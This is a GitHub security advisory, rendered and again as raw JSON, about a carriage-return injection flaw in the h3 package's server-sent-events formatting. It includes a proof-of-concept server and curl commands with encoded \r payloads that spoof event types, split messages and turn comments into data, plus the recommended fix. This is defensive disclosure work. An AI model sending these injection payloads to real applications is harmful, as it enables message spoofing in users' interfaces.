GHSA-4HXC-9384-M385

Vulnerability from github – Published: 2026-03-20 20:50 – Updated: 2026-03-20 20:50
VLAI
Summary
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Details

Summary

The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.

Details

The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:

1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)

const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) {  // Only splits on \n, not \r
  result += `data: ${line}\n`;
}

String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:

data: legit\revent: evil\n

Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:

data: legit
event: evil

2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split("\n")  // Only splits on \n, not \r
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:

: x\rdata: injected\n\n

Which the browser parses as a comment line followed by actual data:

: x
data: injected

Why _sanitizeSingleLine doesn't help

The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:

function _sanitizeSingleLine(value: string): string {
  return value.replace(/[\n\r]/g, "");
}

But it is only applied to id and event fields (lines 182, 185), not to data or comment.

PoC

Setup

Create a minimal h3 application that reflects user input into an SSE stream:

// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";

const app = createApp();

app.use("/sse", defineEventHandler(async (event) => {
  const stream = createEventStream(event);
  const { msg } = getQuery(event);

  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)
  await stream.push(String(msg));

  setTimeout(() => stream.close(), 1000);
  return stream.send();
}));

export default app;

Attack 1: Event type injection via \r in data

# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"

Expected (safe) wire output:

data: legit\revent: evil\n\n

Browser parses as:

data: legit
event: evil

The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.

Attack 2: Message boundary injection (event splitting)

# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"

Browser parses as two separate events: 1. Event 1: data: first 2. Event 2: data: injected

A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.

Attack 3: Comment escape to data injection

# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"

Browser parses as:

: x          (comment, ignored)
data: injected  (real data, dispatched as event)

Impact

  • Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
  • Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
  • Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
  • Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.

Recommended Fix

Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.

// src/utils/internal/event-stream.ts

// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split(SSE_LINE_SPLIT)  // was: .split("\n")
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${_sanitizeSingleLine(message.id)}\n`;
  }
  if (message.event) {
    result += `event: ${_sanitizeSingleLine(message.event)}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  const data = typeof message.data === "string" ? message.data : "";
  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split("\n")
    result += `data: ${line}\n`;
  }
  result += "\n";
  return result;
}

This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r from being passed through to the browser where it would be interpreted as a line break.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.1-rc.16"
      },
      "package": {
        "ecosystem": "npm",
        "name": "h3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.0"
            },
            {
              "fixed": "2.0.1-rc.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "h3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:50:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field \u2014 `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) {  // Only splits on \\n, not \\r\n  result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification \u00a79.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field \u2014 `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(\"\\n\")  // Only splits on \\n, not \\r\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn\u0027t help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n  return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) =\u003e {\n  const stream = createEventStream(event);\n  const { msg } = getQuery(event);\n\n  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n  await stream.push(String(msg));\n\n  setTimeout(() =\u003e stream.close(), 1000);\n  return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser\u0027s `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser \u2014 the attacker controls the second event\u0027s content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() \u2014 escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x          (comment, ignored)\ndata: injected  (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions \u2014 e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` \u2014 matching the SSE spec\u0027s line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(SSE_LINE_SPLIT)  // was: .split(\"\\n\")\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n  }\n  if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  const data = typeof message.data === \"string\" ? message.data : \"\";\n  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split(\"\\n\")\n    result += `data: ${line}\\n`;\n  }\n  result += \"\\n\";\n  return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.",
  "id": "GHSA-4hxc-9384-m385",
  "modified": "2026-03-20T20:50:38Z",
  "published": "2026-03-20T20:50:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h3js/h3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)"
}


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